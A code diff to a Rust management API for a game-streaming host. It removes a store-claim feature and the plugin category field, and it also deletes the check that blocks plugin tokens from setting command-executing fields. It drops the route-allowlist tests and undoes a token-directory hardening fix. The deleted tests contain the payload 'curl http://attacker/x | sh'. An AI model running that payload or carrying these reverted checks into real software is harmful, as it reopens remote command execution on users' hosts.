-pub(crate) struct ReconcileQuery {
-    /// Claim this store for the provider, so its entries take the store's own identity.
-    store: Option<String>,
-}
-
 /// Replace a provider's library entries (declarative reconcile)
 ///
 /// Atomically replaces the full entry set owned by `{provider}` (RFC §8): the payload is the
@@ -316,80 +234,39 @@ pub(crate) struct ReconcileQuery {
 /// surviving title's host id stable across reconciles, drops orphans, and never touches manual
 /// entries or other providers'. An empty array removes everything the provider owns. Emits
 /// `library.changed` with the provider as `source`.
-///
-/// `?store=` additionally **claims** that store for the provider: its entries then surface with
-/// deterministic `<store>:<external_id>` ids and the store's own badge, instead of opaque
-/// `custom:<id>` ones — which is what lets a library plugin reproduce the entries an in-host scanner
-/// used to produce, right down to the GameStream app ids and client-side art caches. One provider
-/// per store; a second claimant gets 409. While a claim is held the matching built-in scanner is
-/// suppressed, so the two never double-list. The claim is released by `DELETE`, not by an empty
-/// reconcile (a store can legitimately have zero installed titles).
 #[utoipa::path(
    put,
    path = "/library/provider/{provider}",
    tag = "library",
    operation_id = "reconcileProviderEntries",
-    params(
-        ("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)"),
-        ("store" = Option<String>, Query, description = "Claim this store for the provider ([a-z0-9_-], `custom`/`manual` reserved)"),
-    ),
+    params(("provider" = String, Path, description = "The provider id ([a-z0-9._-], `manual` reserved)")),
    request_body = Vec<crate::library::ProviderEntryInput>,
    responses(
        (status = OK, description = "The provider's resulting entries (host ids assigned/kept)", body = [crate::library::CustomEntry]),
-        (status = BAD_REQUEST, description = "Invalid provider id, store id, or payload", body = ApiError),
+        (status = BAD_REQUEST, description = "Invalid provider id or payload", body = ApiError),
        (status = UNAUTHORIZED, description = "Missing or invalid bearer token", body = ApiError),
-        (status = CONFLICT, description = "That store is already claimed by another provider", body = ApiError),
        (status = INTERNAL_SERVER_ERROR, description = "Could not persist the catalog", body = ApiError),
    )
 )]
 pub(crate) async fn reconcile_provider_entries(
-    Extension(lane): Extension<AuthLane>,
    Path(provider): Path<String>,
-    Query(q): Query<ReconcileQuery>,
    ApiJson(inputs): ApiJson<Vec<crate::library::ProviderEntryInput>>,
 ) -> Response {
    if let Err(e) = crate::library::validate_provider_name(&provider) {
        return api_error(StatusCode::BAD_REQUEST, &e);
    }
-    let store = q.store.filter(|s| !s.is_empty());
-    if let Some(store) = &store {
-        if let Err(e) = crate::library::validate_store_claim(store) {
-            return api_error(StatusCode::BAD_REQUEST, &e);
-        }
-    }
    if let Err(e) = crate::library::validate_provider_payload(&inputs) {
        return api_error(StatusCode::BAD_REQUEST, &e);
    }
-    // Every entry in the payload, not just the first — a reconcile replaces a whole entry set, so
-    // one privileged field anywhere in it is one command execution.
-    for (i, e) in inputs.iter().enumerate() {
-        if let Some(denied) = check_entry_fields(lane, &e.art, e.launch.as_ref(), &e.prep) {
-            tracing::warn!(
-                provider,
-                index = i,
-                "library reconcile refused: payload carries a field this lane may not set"
-            );
-            return denied;
-        }
-    }
-    match crate::library::reconcile_provider(&provider, store.as_deref(), inputs) {
-        Ok(crate::library::MutateOutcome::Done(entries)) => {
+    match crate::library::reconcile_provider(&provider, inputs) {
+        Ok(entries) => {
            tracing::info!(
                provider,
-                store = store.as_deref().unwrap_or("-"),
                count = entries.len(),
                "library provider reconciled"
            );
            Json(entries).into_response()
        }
-        Ok(crate::library::MutateOutcome::StoreClaimed { store, provider }) => api_error(
-            StatusCode::CONFLICT,
-            &format!("store `{store}` is already claimed by provider `{provider}`"),
-        ),
-        Ok(_) => api_error(
-            StatusCode::INTERNAL_SERVER_ERROR,
-            "unexpected reconcile outcome",
-        ),
        Err(e) => api_error(StatusCode::INTERNAL_SERVER_ERROR, &e.to_string()),
    }
 }
@@ -429,12 +306,11 @@ pub(crate) async fn delete_provider_entries(Path(provider): Path<String>) -> Res
 /// Fetch one cover-art image for a library entry
 ///
 /// Resolves `kind` (`portrait` | `hero` | `logo` | `header`) for the given library id and streams
-/// the image bytes. Any id stored in the host's catalog (manual entries, provider-synced entries,
-/// and a library plugin's claimed-store entries) serves its local art file. A Steam title falls back
-/// to the in-host scanner's resolver: the host's own local Steam cache first (exact — it's what the
-/// user's Steam client already shows for it), the public Steam CDN's flat URL convention second
-/// (newer titles' CDN assets can live at a per-asset-hash path the host can't predict, in which case
-/// this 404s and the client falls through to its next art candidate).
+/// the image bytes. For a Steam title, the host's own local Steam cache is tried first (exact —
+/// it's what the user's Steam client already shows for it), the public Steam CDN's flat URL
+/// convention as a fallback (newer titles' CDN assets can live at a per-asset-hash path the host
+/// can't predict, in which case this 404s and the client falls through to its next art candidate).
+/// Only Steam ids are backed today; any other store 404s.
 #[utoipa::path(
    get,
    path = "/library/art/{id}/{kind}",
@@ -454,20 +330,7 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) ->
    let Some(kind) = crate::library::ArtKind::parse(&kind) else {
        return api_error(StatusCode::NOT_FOUND, "unknown art kind");
    };
-    // `library.json` FIRST, for ANY id (WP1.2). Stored entries — manual, provider-synced, and (once
-    // store claims land) a scanner plugin's `steam:570` — all serve their local art file from here,
-    // so the proxy never has to know which store an id belongs to. Steam ids aren't stored today, so
-    // this misses and the legacy branch below still answers them.
-    let stored = {
-        let id = id.clone();
-        tokio::task::spawn_blocking(move || crate::library::library_local_art_bytes(&id, kind))
-            .await
-    };
-    if let Ok(Some((bytes, ctype))) = stored {
-        return ([(header::CONTENT_TYPE, ctype)], bytes).into_response();
-    }
-    // Legacy in-host Steam scanner: local Steam cache, then the flat CDN URL. Retired with the
-    // scanner itself once the steam plugin claims the store (M6).
+    // Steam: CDN / local-cache proxy (id `steam:<appid>`).
    if let Some(appid) = id
        .strip_prefix("steam:")
        .and_then(|s| s.parse::<u32>().ok())
@@ -481,5 +344,17 @@ pub(crate) async fn get_library_art(Path((id, kind)): Path<(String, String)>) ->
            _ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"),
        };
    }
-    api_error(StatusCode::NOT_FOUND, "no art of that kind for this title")
+    // Custom/provider entry (id `custom:<id>`): serve its stored LOCAL art file — e.g. the Playnite
+    // plugin's covers, reconciled as on-host paths rather than inlined bytes.
+    if let Some(cid) = id.strip_prefix("custom:").map(str::to_owned) {
+        return match tokio::task::spawn_blocking(move || {
+            crate::library::custom_local_art_bytes(&cid, kind)
+        })
+        .await
+        {
+            Ok(Some((bytes, ctype))) => ([(header::CONTENT_TYPE, ctype)], bytes).into_response(),
+            _ => api_error(StatusCode::NOT_FOUND, "no art of that kind for this title"),
+        };
+    }
+    api_error(StatusCode::NOT_FOUND, "no art proxy for this store")
 }
@@ -64,14 +64,6 @@ pub(crate) struct PluginRegistration {
    /// entry only (e.g. a future runner-management listing) and grows no nav entry.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub ui: Option<PluginUi>,
-    /// What KIND of plugin this is (`^[a-z][a-z0-9-]{0,31}$`), top-level rather than under `ui`
-    /// because it describes the plugin, not its surface. The console knows one value today —
-    /// `library` — which it filters **out of the nav**: six installed scanner plugins would otherwise
-    /// flood the sidebar, and their real entry point is the Game sources surface (design D5). A
-    /// library plugin that genuinely wants its own page (rom-manager, which is much more than a
-    /// scanner) simply omits the category.
-    #[serde(default, skip_serializing_if = "Option::is_none")]
-    pub category: Option<String>,
 }

 /// One log line produced by the runner or a plugin inside it (`POST /plugins/logs`).
@@ -112,9 +104,6 @@ pub(crate) struct PluginSummary {
    pub version: Option<String>,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub ui: Option<PluginUiPublic>,
-    /// The plugin's kind — see [`PluginRegistration::category`].
-    #[serde(skip_serializing_if = "Option::is_none")]
-    pub category: Option<String>,
 }

 /// `GET /plugins/{id}/ui-credential` — the console proxy's server-side lookup (bearer + loopback).
@@ -140,19 +129,14 @@ struct Stored {
    title: String,
    version: Option<String>,
    ui: Option<StoredUi>,
-    category: Option<String>,
    expires_at: Instant,
 }

 impl Stored {
    /// Do the operator-visible fields match (ignoring the lease clock)? A pure lease renewal leaves
-    /// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon/
-    /// category) does.
-    fn public_eq(&self, v: &Valid) -> bool {
-        self.title == v.title
-            && self.version == v.version
-            && self.ui == v.ui
-            && self.category == v.category
+    /// these unchanged and emits no event; a restart (new secret) or a re-scan (new title/icon) does.
+    fn public_eq(&self, title: &str, version: &Option<String>, ui: &Option<StoredUi>) -> bool {
+        self.title == title && self.version == *version && self.ui == *ui
    }
 }

@@ -166,7 +150,6 @@ struct Valid {
    title: String,
    version: Option<String>,
    ui: Option<StoredUi>,
-    category: Option<String>,
 }

 impl PluginRegistry {
@@ -184,7 +167,7 @@ impl PluginRegistry {
        let mut map = self.inner.write().unwrap_or_else(|e| e.into_inner());
        let changed = match map.get(id) {
            // An *expired* prior entry counts as a change (it had stopped listing).
-            Some(prev) => !prev.is_live() || !prev.public_eq(&v),
+            Some(prev) => !prev.is_live() || !prev.public_eq(&v.title, &v.version, &v.ui),
            None => true,
        };
        map.insert(
@@ -193,7 +176,6 @@ impl PluginRegistry {
                title: v.title,
                version: v.version,
                ui: v.ui,
-                category: v.category,
                expires_at,
            },
        );
@@ -225,7 +207,6 @@ impl PluginRegistry {
                    port: u.port,
                    icon: u.icon.clone(),
                }),
-                category: s.category.clone(),
            })
            .collect();
        live.sort_by(|a, b| a.title.cmp(&b.title).then_with(|| a.id.cmp(&b.id)));
@@ -352,31 +333,7 @@ fn validate(reg: PluginRegistration) -> Result<Valid, String> {
        Some(u) => Some(validate_ui(u)?),
        None => None,
    };
-    // Categories are grouping keys the console switches on — a closed charset, but deliberately not
-    // a closed VOCABULARY: an unknown category is stored and simply matches no console rule, so a
-    // newer plugin registering against an older host degrades to "shows in the nav", never to a
-    // failed registration.
-    let category = match reg.category {
-        Some(c) => {
-            let ok = (1..=32).contains(&c.len())
-                && c.starts_with(|ch: char| ch.is_ascii_lowercase())
-                && c.bytes()
-                    .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-');
-            if !ok {
-                return Err(
-                    "category must be 1–32 chars of [a-z0-9-], starting with a letter".into(),
-                );
-            }
-            Some(c)
-        }
-        None => None,
-    };
-    Ok(Valid {
-        title,
-        version,
-        ui,
-        category,
-    })
+    Ok(Valid { title, version, ui })
 }

 fn validate_ui(u: PluginUi) -> Result<StoredUi, String> {
@@ -601,7 +558,6 @@ mod tests {
                secret: secret.into(),
                icon: Some("gamepad-2".into()),
            }),
-            category: None,
        }
    }

@@ -628,30 +584,10 @@ mod tests {
            title: "Ro\u{7}m\n".into(),
            version: None,
            ui: None,
-            category: None,
        })
        .unwrap();
        assert_eq!(v.title, "Rom");
-        // Category charset (WP2.7): the console's one known value passes; the shapes that would
-        // break a grouping key don't. An UNKNOWN-but-well-formed category is accepted on purpose —
-        // a newer plugin must not fail to register against an older host.
-        let lib = |c: &str| PluginRegistration {
-            title: "X".into(),
-            version: None,
-            ui: None,
-            category: Some(c.into()),
-        };
-        assert_eq!(
-            validate(lib("library")).unwrap().category.as_deref(),
-            Some("library")
-        );
-        assert!(validate(lib("some-future-kind")).is_ok());
-        assert!(validate(lib("")).is_err());
-        assert!(validate(lib("Library")).is_err()); // no uppercase
-        assert!(validate(lib("9lives")).is_err()); // must start with a letter
-        assert!(validate(lib("lib_rary")).is_err()); // no underscore
-        assert!(validate(lib(&"a".repeat(33))).is_err()); // too long
-                                                          // privileged port rejected
+        // privileged port rejected
        assert!(validate(reg("x", 80, SECRET)).is_err());
        // short secret rejected
        assert!(validate(reg("x", 49321, "tooshort")).is_err());
@@ -705,7 +641,6 @@ mod tests {
                title: "Headless".into(),
                version: None,
                ui: None,
-                category: None,
            })
            .unwrap(),
        );
@@ -108,14 +108,6 @@ pub(crate) struct CatalogEntry {
    /// A revocation covering the catalogued version — do not offer this without shouting.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub blocked: Option<String>,
-    /// What kind of plugin this is — the console filters Browse by these, and the Game sources
-    /// surface's "Add a source" rail shows exactly the `library` ones (design D5/D6).
-    pub categories: Vec<String>,
-    /// Whether the launcher this plugin scans looks **installed on this host** (design D8), from the
-    /// index's own existence probes. `null` = the entry declares no probes for this platform, which
-    /// the console renders as "unknown" rather than "not installed".
-    #[serde(skip_serializing_if = "Option::is_none")]
-    pub detected: Option<bool>,
 }

 #[derive(Serialize, ToSchema)]
@@ -285,8 +277,6 @@ fn build_catalog(force: bool) -> CatalogResponse {
                update_available: installed_version.as_deref().is_some_and(|v| v != e.version),
                installed_version,
                blocked: store::advisory_for(&e.pkg, Some(&e.version)).map(|a| a.reason),
-                categories: e.categories.clone(),
-                detected: e.detected(),
            });
        }
    }
@@ -1042,297 +1042,6 @@ async fn plugin_log_ingest_lands_in_the_ring() {
    assert_eq!(status, StatusCode::BAD_REQUEST);
 }

-/// **The plugin lane reaches the library writes but cannot make them run a command** — the H-1 fix.
-///
-/// A provider plugin must be able to reconcile its own entry set, so the ROUTE stays open to it.
-/// What is refused is the pair of fields inside the payload that the host later executes verbatim as
-/// the host user (`/bin/sh -c` on Linux, `cmd.exe /c` on Windows): `prep`, and a `command` launch.
-/// Those are the operator's authority, and the whole trust argument at their execution sites is that
-/// a human typed them into the admin console.
-#[tokio::test]
-async fn plugin_lane_cannot_set_command_execution_fields() {
-    let app = test_app(test_state(), None); // admin "test-secret", plugin "plugin-secret"
-
-    let as_lane = |token: &str, method: &str, path: &str, body: serde_json::Value| {
-        axum::http::Request::builder()
-            .method(method)
-            .uri(path)
-            .header("content-type", "application/json")
-            .header("authorization", format!("Bearer {token}"))
-            .body(Body::from(body.to_string()))
-            .unwrap()
-    };
-
-    // The two shapes of the primitive, on the two routes that carry it.
-    let prep = serde_json::json!({
-        "title": "Pwned",
-        "prep": [{"do": "curl http://attacker/x | sh"}],
-    });
-    let command = serde_json::json!({
-        "title": "Pwned",
-        "launch": {"kind": "command", "value": "curl http://attacker/x | sh"},
-    });
-    for (path, method) in [
-        ("/api/v1/library/custom", "POST"),
-        ("/api/v1/library/custom/some-id", "PUT"),
-    ] {
-        for body in [&prep, &command] {
-            let (status, err) =
-                send(&app, as_lane("plugin-secret", method, path, body.clone())).await;
-            assert_eq!(
-                status,
-                StatusCode::FORBIDDEN,
-                "plugin token must not set an executed field via {method} {path}"
-            );
-            assert!(
-                err["error"].as_str().unwrap().contains("host user"),
-                "the refusal should say why: {err}"
-            );
-        }
-    }
-    // The reconcile route replaces a WHOLE entry set, so every entry is checked — not just the
-    // first. A payload that hides the primitive behind a benign leading entry is still refused.
-    let sneaky = serde_json::json!([
-        {"external_id": "a", "title": "Innocent"},
-        {"external_id": "b", "title": "Pwned",
-         "launch": {"kind": "command", "value": "curl http://attacker/x | sh"}},
-    ]);
-    let (status, _) = send(
-        &app,
-        as_lane(
-            "plugin-secret",
-            "PUT",
-            "/api/v1/library/provider/romm",
-            sneaky,
-        ),
-    )
-    .await;
-    assert_eq!(
-        status,
-        StatusCode::FORBIDDEN,
-        "a privileged field anywhere in a reconcile payload must be refused"
-    );
-
-    // Every refusal above happens BEFORE the catalog is touched, so this test never writes to the
-    // host config dir. The converse — that the operator's own lane may set these fields, and that a
-    // plugin's ordinary catalogue is unaffected — is `library::tests::privileged_field_is_command_
-    // execution_only`, which needs no filesystem either.
-    assert!(
-        crate::mgmt::auth::AuthLane::Admin.may_set_privileged_fields(),
-        "the operator's token is the lane these fields belong to"
-    );
-    assert!(!crate::mgmt::auth::AuthLane::Plugin.may_set_privileged_fields());
-    assert!(!crate::mgmt::auth::AuthLane::Cert.may_set_privileged_fields());
-}
-
-/// **Every route in the live table is explicitly classified for both non-admin lanes.**
-///
-/// This is the test whose absence produced H-1 and H-2 in the 2026-08-05 review. `plugin_may_access`
-/// used to be a denylist, so a route added after the list was written was granted to the plugin
-/// token silently and no test failed — which is exactly how `/api/v1/library`'s two copies of the
-/// command-execution primitive, and the unconfined art proxy, ended up on the plugin lane across
-/// ~1450 commits.
-///
-/// The gate is an allowlist now, so the failure mode has flipped: a new route is DENIED until it is
-/// classified. This test makes that classification a conscious, reviewed act rather than a silent
-/// default in either direction — adding a route fails the build until its row is added here, and the
-/// row is where a reviewer looks to ask "should a plugin really reach this?".
-#[test]
-fn every_route_is_classified_for_the_plugin_and_cert_lanes() {
-    use axum::http::Method;
-
-    // (method, path template, plugin token may reach, paired streaming cert may reach).
-    // EXHAUSTIVE over the live route table — no wildcards, no prefixes, one row per operation.
-    const EXPECTED: &[(&str, &str, bool, bool)] = &[
-        // ---- host / status: readable by a plugin; the small read-only set is the cert lane's.
-        ("GET", "/api/v1/health", true, false), // always open, handled before either gate
-        ("GET", "/api/v1/host", true, true),
-        ("GET", "/api/v1/status", true, true),
-        ("GET", "/api/v1/local/summary", true, false), // loopback-only, handled before the gates
-        ("GET", "/api/v1/compositors", true, true),
-        ("GET", "/api/v1/events", true, false),
-        ("GET", "/api/v1/logs", true, false),
-        // ---- paired-device rosters: readable by a plugin, never by another paired client, and
-        // removal is pairing administration in both lanes.
-        ("GET", "/api/v1/clients", true, false),
-        ("DELETE", "/api/v1/clients/{fingerprint}", false, false),
-        ("GET", "/api/v1/native/clients", true, false),
-        (
-            "DELETE",
-            "/api/v1/native/clients/{fingerprint}",
-            false,
-            false,
-        ),
-        // ---- pairing administration + PIN visibility: the operator's token alone.
-        ("GET", "/api/v1/pair", false, false),
-        ("POST", "/api/v1/pair/pin", false, false),
-        ("GET", "/api/v1/native/pair", false, false),
-        ("DELETE", "/api/v1/native/pair", false, false),
-        ("POST", "/api/v1/native/pair/arm", false, false),
-        ("GET", "/api/v1/native/pending", false, false),
-        ("POST", "/api/v1/native/pending/{id}/approve", false, false),
-        ("POST", "/api/v1/native/pending/{id}/deny", false, false),
-        // ---- GPU + display: host configuration, no privilege boundary.
-        ("GET", "/api/v1/gpus", true, false),
-        ("PUT", "/api/v1/gpus/preference", true, false),
-        ("GET", "/api/v1/display/settings", true, false),
-        ("PUT", "/api/v1/display/settings", true, false),
-        ("GET", "/api/v1/display/state", true, false),
-        ("GET", "/api/v1/display/monitors", true, false),
-        ("PUT", "/api/v1/display/layout", true, false),
-        ("POST", "/api/v1/display/release", true, false),
-        ("GET", "/api/v1/display/presets", true, false),
-        ("POST", "/api/v1/display/presets", true, false),
-        ("PUT", "/api/v1/display/presets/{id}", true, false),
-        ("DELETE", "/api/v1/display/presets/{id}", true, false),
-        // ---- session control.
-        ("DELETE", "/api/v1/session", true, false),
-        ("POST", "/api/v1/session/idr", true, false),
-        ("GET", "/api/v1/session/settings", true, false),
-        ("PUT", "/api/v1/session/settings", true, false),
-        ("POST", "/api/v1/game/end", true, false),
-        // ---- library. The plugin lane reaches the writes (a scanner plugin's whole job), but the
-        // operator-privileged FIELDS inside those payloads are refused in the handler — see
-        // `plugin_lane_cannot_set_command_execution_fields`.
-        ("GET", "/api/v1/library", true, true),
-        ("GET", "/api/v1/library/art/{id}/{kind}", true, true),
-        ("GET", "/api/v1/library/scanners", true, false),
-        ("PUT", "/api/v1/library/scanners/{id}", true, false),
-        ("POST", "/api/v1/library/custom", true, false),
-        ("PUT", "/api/v1/library/custom/{id}", true, false),
-        ("DELETE", "/api/v1/library/custom/{id}", true, false),
-        ("PUT", "/api/v1/library/provider/{provider}", true, false),
-        ("DELETE", "/api/v1/library/provider/{provider}", true, false),
-        // ---- stats.
-        ("POST", "/api/v1/stats/capture/start", true, false),
-        ("POST", "/api/v1/stats/capture/stop", true, false),
-        ("GET", "/api/v1/stats/capture/status", true, false),
-        ("GET", "/api/v1/stats/capture/live", true, false),
-        ("GET", "/api/v1/stats/recordings", true, false),
-        ("GET", "/api/v1/stats/recordings/{id}", true, false),
-        ("DELETE", "/api/v1/stats/recordings/{id}", true, false),
-        // ---- plugins: its own directory entry and log ingest, never another plugin's UI secret.
-        ("GET", "/api/v1/plugins", true, false),
-        ("POST", "/api/v1/plugins/logs", true, false),
-        ("PUT", "/api/v1/plugins/{id}", true, false),
-        ("DELETE", "/api/v1/plugins/{id}", true, false),
-        ("GET", "/api/v1/plugins/{id}/ui-credential", false, false),
-        // ---- hooks: writing is command execution as the host user; reading exposes webhook creds.
-        ("GET", "/api/v1/hooks", false, false),
-        ("PUT", "/api/v1/hooks", false, false),
-        // ---- the store: installing a plugin runs new code with operator privileges.
-        ("GET", "/api/v1/store/catalog", false, false),
-        ("POST", "/api/v1/store/refresh", false, false),
-        ("GET", "/api/v1/store/installed", false, false),
-        ("POST", "/api/v1/store/install", false, false),
-        ("POST", "/api/v1/store/uninstall", false, false),
-        ("GET", "/api/v1/store/jobs", false, false),
-        ("GET", "/api/v1/store/jobs/{id}", false, false),
-        ("GET", "/api/v1/store/sources", false, false),
-        ("PUT", "/api/v1/store/sources/{name}", false, false),
-        ("DELETE", "/api/v1/store/sources/{name}", false, false),
-        ("GET", "/api/v1/store/runtime", false, false),
-        ("POST", "/api/v1/store/runtime", false, false),
-        // ---- updates: `apply` runs an installer / the root helper.
-        ("GET", "/api/v1/update/status", false, false),
-        ("POST", "/api/v1/update/check", false, false),
-        ("POST", "/api/v1/update/apply", false, false),
-    ];
-
-    /// A path template's concrete form: every `{param}` segment becomes a literal, so the gates
-    /// are exercised on the shape a real request has.
-    fn concrete(template: &str) -> String {
-        template
-            .split('/')
-            .map(|s| if s.starts_with('{') { "sample" } else { s })
-            .collect::<Vec<_>>()
-            .join("/")
-    }
-
-    let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap();
-    let mut live: Vec<(String, String)> = Vec::new();
-    for (path, ops) in doc["paths"].as_object().unwrap() {
-        for method in ops.as_object().unwrap().keys() {
-            if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") {
-                live.push((method.to_uppercase(), path.clone()));
-            }
-        }
-    }
-
-    // 1. Every LIVE route has a classification row. A new route fails here until it gets one.
-    for (method, path) in &live {
-        assert!(
-            EXPECTED
-                .iter()
-                .any(|(m, p, _, _)| m == method && p == path),
-            "route {method} {path} has no lane classification — add a row to EXPECTED in this test \
-             and decide, deliberately, whether the plugin token and a paired streaming cert may \
-             reach it"
-        );
-    }
-    // 2. No STALE rows: a removed route must not leave a classification behind claiming coverage.
-    for (method, path, _, _) in EXPECTED {
-        assert!(
-            live.iter().any(|(m, p)| m == method && p == path),
-            "EXPECTED lists {method} {path}, which is not in the live route table — remove the row"
-        );
-    }
-    // 3. The gates agree with the classification, on both lanes.
-    for (method, path, plugin_ok, cert_ok) in EXPECTED {
-        let m = Method::from_bytes(method.as_bytes()).unwrap();
-        let concrete = concrete(path);
-        assert_eq!(
-            auth::plugin_may_access(&m, &concrete),
-            *plugin_ok,
-            "plugin lane: {method} {path} should be {}",
-            if *plugin_ok { "reachable" } else { "denied" }
-        );
-        assert_eq!(
-            auth::cert_may_access(&m, &concrete),
-            *cert_ok,
-            "cert lane: {method} {path} should be {}",
-            if *cert_ok { "reachable" } else { "denied" }
-        );
-    }
-}
-
-/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not
-/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites.
-#[test]
-fn plugin_allowlist_matches_whole_segments_only() {
-    use axum::http::Method;
-    // The UI credential sits one segment below an allowed route and must stay denied.
-    assert!(auth::plugin_may_access(
-        &Method::PUT,
-        "/api/v1/plugins/rom-manager"
-    ));
-    assert!(!auth::plugin_may_access(
-        &Method::GET,
-        "/api/v1/plugins/rom-manager/ui-credential"
-    ));
-    // A hypothetical future sub-route of an allowed route is denied until classified.
-    assert!(!auth::plugin_may_access(
-        &Method::GET,
-        "/api/v1/library/secrets"
-    ));
-    assert!(!auth::plugin_may_access(
-        &Method::POST,
-        "/api/v1/session/settings/x"
-    ));
-    // Method matters: the roster is readable, its removal is not.
-    assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients"));
-    assert!(!auth::plugin_may_access(
-        &Method::DELETE,
-        "/api/v1/clients/aabbcc"
-    ));
-    // A path prefix that is not a segment prefix must not match at all.
-    assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses"));
-    assert!(!auth::plugin_may_access(
-        &Method::GET,
-        "/api/v1/library-secrets"
-    ));
-}
-
 /// The OpenAPI document lists every route with a unique operationId (codegen relies
 /// on both), and the checked-in copy is current.
 #[test]
@@ -45,14 +45,7 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
            return Ok(v.to_string());
        }
    }
-    let dir = pf_paths::config_dir();
-    // Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config
-    // path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an
-    // existing token out of a directory a local user could still write means adopting whatever they
-    // put there: the mgmt token IS full admin on this host, so a planted one is a handed-over
-    // control plane, and it would be honoured for the life of the install.
-    pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
-    let path = dir.join(file);
+    let path = pf_paths::config_dir().join(file);
    if let Ok(contents) = fs::read_to_string(&path) {
        if let Some(tok) = parse_token(&contents, env_var) {
            return Ok(tok);
@@ -61,6 +54,9 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
    let mut buf = [0u8; 32];
    rand::thread_rng().fill_bytes(&mut buf);
    let token = hex::encode(buf);
+    let dir = pf_paths::config_dir();
+    // Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path.
+    pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
    write_token(&path, env_var, &token)?;
    tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)");
    Ok(token)
--- a/Show More
+++ b/Show More